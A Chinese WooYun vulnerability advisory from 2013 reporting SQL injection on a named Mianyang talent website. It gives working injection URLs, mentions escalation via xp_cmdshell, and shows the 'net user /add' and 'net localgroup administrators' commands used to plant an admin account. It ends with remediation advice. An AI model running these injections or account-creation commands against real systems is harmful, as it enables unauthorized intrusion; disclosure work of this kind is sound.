当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020863

漏洞标题:四川某地市人才网站SQL注射,直接SA、xp_cmdshell拿下服务器

相关厂商:绵阳市人才服务中心

漏洞作者: 叽叽歪歪

提交时间:2013-03-29 11:37

修复时间:2013-06-14 10:45

公开时间:2013-06-14 10:45

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-06-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

由于程序对输入的参数效验不严格 + 数据库配置问题 = 服务器沦陷

详细说明:

在人才资料查询页面http://www.myhm.org/netzp/Readdw.asp?dwcis=1简单手工试了一下,发现存在SQL注入

http://www.myhm.org/netzp/Readdw.asp?dwcis=1'and user=0--


发现是dbo的(图见:漏洞证明),再看下数据库

http://www.myhm.org/netzp/Readdw.asp?dwcis=1' and db_name(1)=0
http://www.myhm.org/netzp/Readdw.asp?dwcis=1' and db_name(2)=0
http://www.myhm.org/netzp/Readdw.asp?dwcis=1' and db_name(3)=0
......


太麻烦了,NBSI工具上场……

3389.png


开的端口不多,多试试了几下,发现3072就是我们找的3389。
下一步
net user xxx xxx /add
net localgroup administrators xxx /add
然后,然后就没有然后了。

漏洞证明:

先看dbo的图

 - 绵阳人才网.png


再看看NBSI的操作情况

NBSI.png

修复方案:

1、对输入的是数字参数,做类型判断
2、对输入是字符串参数,采用“参数型”方式查询数据库
3、数据库的权限要做认真配置呀,不必要的组件就别开了

版权声明:转载请注明来源 叽叽歪歪@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:14 (WooYun评价)